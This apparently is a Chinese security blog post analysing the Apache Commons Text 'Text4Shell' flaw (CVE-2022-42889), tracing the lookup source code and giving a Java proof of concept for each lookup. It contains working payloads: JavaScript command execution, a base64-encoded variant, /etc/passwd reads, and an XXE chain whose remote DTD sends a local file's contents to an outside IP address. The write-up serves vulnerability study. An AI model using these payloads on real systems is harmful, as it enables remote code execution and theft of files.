Apache Commons Text RCE 漏洞学习 CVE-2022-42889

Apache Commons Text RCE 漏洞学习 CVE-2022-42889

Ko1sh1

利用范围

1
1.5 <= Apache Commons Text <= 1.9

pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
</dependencies>

漏洞点分析

入口处是调用 StringSubstitutor#replace ,传入的参数为POC

紧接着调用 StringSubstitutor#substitute ,再调用StringSubstitutor.Result#substitute 。

这里有做一系列处理,但是大致流程就是把 ${ 和 } 中间的东西提取出来并最终赋值给 varName。(处理方式也和log4j2很像,代码格式也是,给我感觉基本上是照搬的)

最终到达下面这一步比较关键的代码。

image-20230130152955290

调用 StringSubstitutor#resolveVariable ,resolver一定可以拿到StringLookup实例,调用

InterpolatorStringLookup#lookup

和log4j2差不多,我们先去看 StringSubstitutor.class 的 resolveVariable,其中获取了variableResolver。该属性值中含有一个map属性的内容。

image-20230130152428163

后续也会根据这个map的键值去获取对应类。

InterpolatorStringLookup.class 下的 lookup 方法非常眼熟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public String lookup(String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = toKey(var.substring(0, prefixPos));
String name = var.substring(prefixPos + 1);
StringLookup lookup = (StringLookup)this.stringLookupMap.get(prefix);
String value = null;
if (lookup != null) {
value = lookup.lookup(name);
}

if (value != null) {
return value;
}

var = var.substring(prefixPos + 1);
}

return this.defaultStringLookup != null ? this.defaultStringLookup.lookup(var) : null;
}
}

根据冒号: 来获取前缀。获取前缀通过map get一个类。如果获取内容不为空,就会跟着进行对应的lookup方法。后续就看各种lookup各有什么作用即可。

ScriptStringLookup

该方法实现了通过 ScriptEngine类的 js 代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.split(SPLIT_STR, 2);
int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.", new Object[]{key});
} else {
String engineName = keys[0];
String script = keys[1];

try {
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
} else {
return Objects.toString(scriptEngine.eval(script), (String)null);
}
} catch (Exception var7) {
throw IllegalArgumentExceptions.format(var7, "Error in script engine [%s] evaluating script [%s].", new Object[]{engineName, script});
}
}
}
}

代码内容相当清晰,根据 : 获取 engineName 和 script,冒号前面内容为engineName,而后面内容为 script。

然后用engineName来获取脚本引擎加载 script 内容。

payload就显而易见了。。

poc

1
${script:js:new java.lang.ProcessBuilder("calc").start()}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.commons.text.StringSubstitutor;

import javax.script.ScriptException;
import java.io.IOException;

public class ScriptStringLookup_Test {
public static void main(String[] args) throws IOException, ScriptException {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
String payload2 = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
interpolator.replace(payload2);
}
}

XmlStringLookup

lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.split(SPLIT_STR);
int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad XML key format [%s]; expected format is DocumentPath:XPath.", new Object[]{key});
} else {
String documentPath = keys[0];
String xpath = StringUtils.substringAfter(key, 58);

try {
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
Throwable var7 = null;

String var8;
try {
var8 = XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));
} catch (Throwable var18) {
var7 = var18;
throw var18;
} finally {
if (inputStream != null) {
if (var7 != null) {
try {
inputStream.close();
} catch (Throwable var17) {
var7.addSuppressed(var17);
}
} else {
inputStream.close();
}
}

}

return var8;
} catch (Exception var20) {
throw IllegalArgumentExceptions.format(var20, "Error looking up XML document [%s] and XPath [%s].", new Object[]{documentPath, xpath});
}
}
}
}

通过 将内容分成两部分

前者为documentPath,后者为xpath,接着有

1
2
3
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
....
var8 = XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));

说明通过 documentPath 去获取了一个文件的输入流

接着 com.sun.org.apache.xpath.internal.jaxp.XPathImpl#evaluate 调用XML文件,实现XXE。

假定我们通过某种方式上传了 test.xml 文件,其内容为:

test.xml

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://49.232.29.145:2740/winkoishi.dtd">%dtd;%send;
]>

在公网放置

winkoishi.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///R:\a\hello.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://49.232.29.145:2740/?f=%file;'>">
%payload;
%send;

R:\a\hello.txt 为我本地R盘下放置的文件。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.commons.text.StringSubstitutor;

import javax.script.ScriptException;
import java.io.IOException;

public class XmlStringLookup_Test {
public static void main(String[] args) throws IOException, ScriptException {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${xml:test.xml:test}";
interpolator.replace(payload);
//org.apache.commons.text.lookup.XmlStringLookup
}
}

然后成功获取我们需要的内容

image-20230130160759883

DnsStringLookup

lookup

通过 | 分割 key,主要起到一个 dns 请求的作用,可用作漏洞探测,其中 subValue 填入 URL 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.trim().split("\\|");
int keyLen = keys.length;
String subKey = keys[0].trim();
String subValue = keyLen < 2 ? key : keys[1].trim();

try {
InetAddress inetAddress = InetAddress.getByName(subValue);
byte var8 = -1;
switch(subKey.hashCode()) {
case -1147692044:
if (subKey.equals("address")) {
var8 = 2;
}
break;
case 3373707:
if (subKey.equals("name")) {
var8 = 0;
}
break;
case 1339224004:
if (subKey.equals("canonical-name")) {
var8 = 1;
}
}

switch(var8) {
case 0:
return inetAddress.getHostName();
case 1:
return inetAddress.getCanonicalHostName();
case 2:
return inetAddress.getHostAddress();
default:
return inetAddress.getHostAddress();
}
} catch (UnknownHostException var9) {
return null;
}
}
}

大致内容就是通过 | 分割 key,当内容为address时,起到一个 dns 请求的作用,可用作漏洞探测,其中 subValue 填入 URL 即可

poc

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.text.StringSubstitutor;


public class DnsStringLookup_Test {
public static void main(String[] args){
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${dns:address|jq4fkj.dnslog.cn}";
interpolator.replace(payload);
}
}

循环调用

至于下面两个 Lookup 相对来讲就比较鸡肋,介绍的原因主要是所有的 Lookup 都会去返回一个值,赋值给 varValue。在 varValue 不为空的情况下返回的值将会再次调用

1
2
3
4
5
6
7
8
9
10
11
12
13
String varValue = this.resolveVariable(varName, builder, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}

if (varValue != null) {
varLen = varValue.length();
builder.replace(startPos, pos, varValue);
altered = true;
change = 0;
if (!substitutionInValuesDisabled) {
change = this.substitute(builder, startPos, varLen, (List)priorVariables).lengthChange;
}

那如果返回的还是一个符合条件的表达式,那么就可以继续调用 lookup。

FileStringLookup

lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.split(String.valueOf(':'));
int keyLen = keys.length;
if (keyLen < 2) {
throw IllegalArgumentExceptions.format("Bad file key format [%s], expected format is CharsetName:DocumentPath.", new Object[]{key});
} else {
String charsetName = keys[0];
String fileName = StringUtils.substringAfter(key, 58);

try {
return new String(Files.readAllBytes(Paths.get(fileName)), charsetName);
} catch (Exception var7) {
throw IllegalArgumentExceptions.format(var7, "Error looking up file [%s] with charset [%s].", new Object[]{fileName, charsetName});
}
}
}
}

测试poc

1
${file:utf-8:/etc/passwd}

通过 : 拆分 key 为两部分,第一部分赋值给 charsetName,第二部分赋值给 fifileName

1
2
String charsetName = keys[0];
String fileName = StringUtils.substringAfter(key, 58);

最后做了一个文件的读取并以 return 返回赋值给 varValue

1
return new String(Files.readAllBytes(Paths.get(fileName)), charsetName);

想要实现任意文件读取,就必须要将返回值赋值给一个变量

1
String res = stringSubstitutorInterpolator.replace(payload);

如果 StringSubstitutor.disableSubstitutionInValues 这个变量为 false 的话,可以进行循环调用,也就是我们在要读取的文件的文件中写入其它POC,例如hello.txt写入script攻击

1
${script:js:new java.lang.ProcessBuilder("calc").start()}

那么使用 ${file:utf-8:hello.txt} 最终会执行RCE,可以算是一种绕过方式;如果写入相同的payload会爆无限循环异常。

image-20230130170757820

但是还是需要想办法找到上传文件。

poc

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.text.StringSubstitutor;

public class FileStringLookup_Test {
public static void main(String[] args){
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${file:utf-8:hello.txt}";
# 要看见文件内容,需要将返回值赋值给一个变量
String result = interpolator.replace(payload);
System.out.println(result);
}
}

UrlStringLookup(我感觉还挺好用的?)

测试poc

1
2
${url:utf-8:file:///etc/passwd}
${url:utf-8:http://127.0.0.1:8888/double.txt}

顾名思义,就是可以通过 http,fifile等协议去访问,然后把获得的值返回给 varValue。同理,想要实现任意文件读取,就必须要将返回值赋值给一个变量。

1
String res = stringSubstitutorInterpolator.replace(payload);

如果 StringSubstitutor.disableSubstitutionInValues 这个变量为 false 的话,也可以进行循环调用,就是在远程服务器上写入另一个POC然后触发

poc

1
2
3
4
5
6
7
8
9
public class UrlStringLookup_Test {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${url:utf-8:http://49.232.29.145:6666/1.txt}";
String payload2 = "${url:utf-8:file:///R:/a/hello.txt}";
String fileContent = interpolator.replace(payload2);
System.out.println(fileContent);
}
}

其他有用的

realworld2023 的体验赛用到了一个

当没禁用 base64decoder 时,可以打入base64的字符串进行命令执行

它会将后面的base64字符串进行解析并执行。

base64decoder-FunctionStringLookup

POC

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.text.StringSubstitutor;

public class FunctionStringLookup_Test {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${base64decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}";
interpolator.replace(payload);
//org.apache.commons.text.lookup.FunctionStringLookup
}
}

  • 标题: Apache Commons Text RCE 漏洞学习 CVE-2022-42889
  • 作者: Ko1sh1
  • 创建于 : 2022-11-25 19:50:37
  • 更新于 : 2024-05-30 21:46:22
  • 链接: https://ko1sh1.github.io/2022/11/25/blog_Apache Commons Text_CVE-2022-42889/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论